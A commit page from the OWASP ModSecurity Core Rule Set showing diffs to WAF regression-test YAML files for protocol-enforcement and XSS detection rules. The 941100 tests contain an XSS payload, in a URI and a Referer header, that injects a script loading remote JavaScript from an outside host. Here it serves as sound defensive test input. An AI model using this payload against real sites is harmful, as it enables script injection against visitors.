Skip to content
This repository was archived by the owner on May 14, 2020. It is now read-only.

Commit d390c92

Browse files
committed
Merge branch 'v3.2/dev' into v3.3/dev
2 parents f83ac77 + b8196b7 commit d390c92

File tree

6 files changed

+181
-84
lines changed

6 files changed

+181
-84
lines changed

util/regression-tests/tests/REQUEST-920-PROTOCOL-ENFORCEMENT/920180.yaml

Lines changed: 18 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,54 +1,52 @@
11
---
2-
meta:
2+
meta:
33
author: "csanders-git"
44
enabled: true
55
name: "920180.yaml"
66
description: "Description"
7-
tests:
8-
-
7+
tests:
8+
-
99
test_title: 920180-1
10-
stages:
11-
-
12-
stage:
10+
stages:
11+
-
12+
stage:
1313
input:
1414
dest_addr: "127.0.0.1"
1515
method: "POST"
1616
port: 80
1717
headers:
18-
User-Agent: "ModSecurity CRS 3 Tests"
18+
User-Agent: "ModSecurity CRS 3 Tests"
1919
Host: "localhost"
2020
Content-Type: "application/x-www-form-urlencoded"
2121
data: "hi=test"
2222
protocol: "http"
23-
stop_magic: True
23+
stop_magic: true
2424
uri: "/"
2525
output:
26-
status: 200
27-
# No Content length is sent this will cause issues
28-
#expect_error: True
29-
-
26+
status: [200, 411]
27+
-
3028
test_title: 920180-2
31-
stages:
32-
-
33-
stage:
29+
stages:
30+
-
31+
stage:
3432
input:
3533
dest_addr: "127.0.0.1"
3634
method: "POST"
3735
port: 80
3836
headers:
39-
User-Agent: "ModSecurity CRS 3 Tests"
37+
User-Agent: "ModSecurity CRS 3 Tests"
4038
Host: "localhost"
4139
Content-Type: "application/x-www-form-urlencoded"
4240
data: "hi=test"
4341
protocol: "http"
4442
uri: "/"
45-
output:
46-
no_log_contains: id "920180"
47-
-
43+
output:
44+
no_log_contains: id "920180"
45+
-
4846
test_title: 920180-3
4947
desc: POST request missing Content-Length Header (920180) from old modsec regressions
5048
stages:
51-
-
49+
-
5250
stage:
5351
input:
5452
dest_addr: 127.0.0.1
Lines changed: 21 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -1,47 +1,47 @@
11
---
2-
meta:
2+
meta:
33
author: "csanders-git"
44
enabled: true
55
name: "920280.yaml"
66
description: "Description"
7-
tests:
8-
-
7+
tests:
8+
-
99
test_title: 920280-1
10-
stages:
11-
-
12-
stage:
10+
stages:
11+
-
12+
stage:
1313
input:
1414
dest_addr: "127.0.0.1"
1515
port: 80
16+
version: "HTTP/1.0"
1617
headers:
17-
User-Agent: "ModSecurity CRS 3 Tests # HTTP 1.1 requires"
18-
output:
19-
no_log_contains: "id \"920280\""
20-
-
18+
User-Agent: "ModSecurity CRS 3 Tests"
19+
output:
20+
log_contains: "id \"920280\""
21+
-
2122
test_title: 920280-2
22-
stages:
23-
-
24-
stage:
23+
stages:
24+
-
25+
stage:
2526
input:
2627
dest_addr: "127.0.0.1"
2728
port: 80
2829
headers:
2930
User-Agent: "ModSecurity CRS 3 Tests"
3031
Host: "localhost"
31-
output:
32-
no_log_contains: "id \"920280\""
33-
-
32+
output:
33+
no_log_contains: "id \"920280\""
34+
-
3435
test_title: 920280-3
35-
stages:
36-
-
37-
stage:
36+
stages:
37+
-
38+
stage:
3839
input:
3940
dest_addr: "127.0.0.1"
4041
port: 80
4142
version: "HTTP/0.9"
4243
headers:
4344
User-Agent: "ModSecurity CRS 3 Tests"
4445
output:
45-
# Technically valid but Apache doesn't allow 0.9 anymore
46+
# Technically valid but Apache doesn't allow 0.9 anymore
4647
status: 400
47-

util/regression-tests/tests/REQUEST-920-PROTOCOL-ENFORCEMENT/920400.yaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -49,4 +49,4 @@
4949
# Most web servers simply won't respond to invalid requests like
5050
# like this they'll just time out when we get OR type checks
5151
# we'll be able to check for both an error or the rule firing
52-
expect_error: True
52+
expect_error: true

util/regression-tests/tests/REQUEST-920-PROTOCOL-ENFORCEMENT/920430.yaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -78,7 +78,7 @@
7878
User-Agent: "ModSecurity CRS 3 Tests #FN"
7979
Host: "localhost"
8080
output:
81-
expect_error: True
81+
expect_error: true
8282
-
8383
test_title: 920430-6
8484
stages:
Lines changed: 16 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,31 +1,31 @@
11
---
2-
meta:
2+
meta:
33
author: "csanders-git"
44
enabled: true
55
name: "941100.yaml"
66
description: "Tests to trigger, or not trigger 941100"
7-
tests:
8-
-
9-
test_title: 941100-1FN
7+
tests:
8+
-
9+
test_title: 941100-1
1010
desc: Test as described in http://www.client9.com/article/five-interesting-injection-attacks/
1111
stages:
12-
-
12+
-
1313
stage:
1414
input:
1515
dest_addr: 127.0.0.1
1616
method: GET
1717
port: 80
18-
uri: '/demo/xss/xml/vuln.xml.php?input=<script xmlns="http://www.w3.org/1999/xhtml">setTimeout("top.frame2.location=\"javascript:(function () {var x = document.createElement(\\\"script\\\");x.src = \\\"//sdl.me/popup.js?//\\\";document.childNodes\[0\].appendChild(x);}());\"",1000)</script>&//'
18+
uri: '/demo/xss/xml/vuln.xml.php?input=<script+xmlns="http://www.w3.org/1999/xhtml">setTimeout("top.frame2.location="javascript:(function+()+{var+x+=+document.createElement(\\"script\\");x.src+=+\\"//sdl.me/popup.js?//\\";document.childNodes\\[0\\].appendChild(x);}());"",1000)</script>&//'
1919
headers:
2020
User-Agent: ModSecurity CRS 3 Tests
2121
Host: localhost
2222
output:
23-
no_log_contains: id "941100"
24-
-
23+
log_contains: id "941100"
24+
-
2525
test_title: 941100-2
2626
desc: XSS in XML Test as described in http://www.client9.com/article/five-interesting-injection-attacks/
2727
stages:
28-
-
28+
-
2929
stage:
3030
input:
3131
dest_addr: 127.0.0.1
@@ -37,11 +37,11 @@
3737
Host: localhost
3838
output:
3939
log_contains: id "941100"
40-
-
40+
-
4141
test_title: 941100-3
4242
desc: XSS testing of libinjection in User-Agent
4343
stages:
44-
-
44+
-
4545
stage:
4646
input:
4747
dest_addr: 127.0.0.1
@@ -53,11 +53,11 @@
5353
Host: localhost
5454
output:
5555
log_contains: id "941100"
56-
-
56+
-
5757
test_title: 941100-4
5858
desc: XSS testing of libinjection in User-Agent
5959
stages:
60-
-
60+
-
6161
stage:
6262
input:
6363
dest_addr: 127.0.0.1
@@ -70,11 +70,11 @@
7070
Host: localhost
7171
output:
7272
no_log_contains: id "941100"
73-
-
73+
-
7474
test_title: 941100-5FN
7575
desc: XSS testing of libinjection in User-Agent
7676
stages:
77-
-
77+
-
7878
stage:
7979
input:
8080
dest_addr: 127.0.0.1
@@ -83,7 +83,7 @@
8383
uri: /
8484
headers:
8585
User-Agent: ModSecurity CRS 3 Tests
86-
Referer: '/demo/xss/xml/vuln.xml.php?input=<script xmlns="http://www.w3.org/1999/xhtml">setTimeout("top.frame2.location=\"javascript:(function () {var x = document.createElement(\\\"script\\\");x.src = \\\"//sdl.me/popup.js?//\\\";document.childNodes\[0\].appendChild(x);}());\"",1000)</script>&//'
86+
Referer: '/demo/xss/xml/vuln.xml.php?input=<script+xmlns="http://www.w3.org/1999/xhtml">setTimeout("top.frame2.location="javascript:(function+()+{var+x+=+document.createElement(\\"script\\");x.src+=+\\"//sdl.me/popup.js?//\\";document.childNodes\\[0\\].appendChild(x);}());"",1000)</script>&//'
8787
Host: localhost
8888
output:
8989
no_log_contains: id "941100"

0 commit comments

Comments
 (0)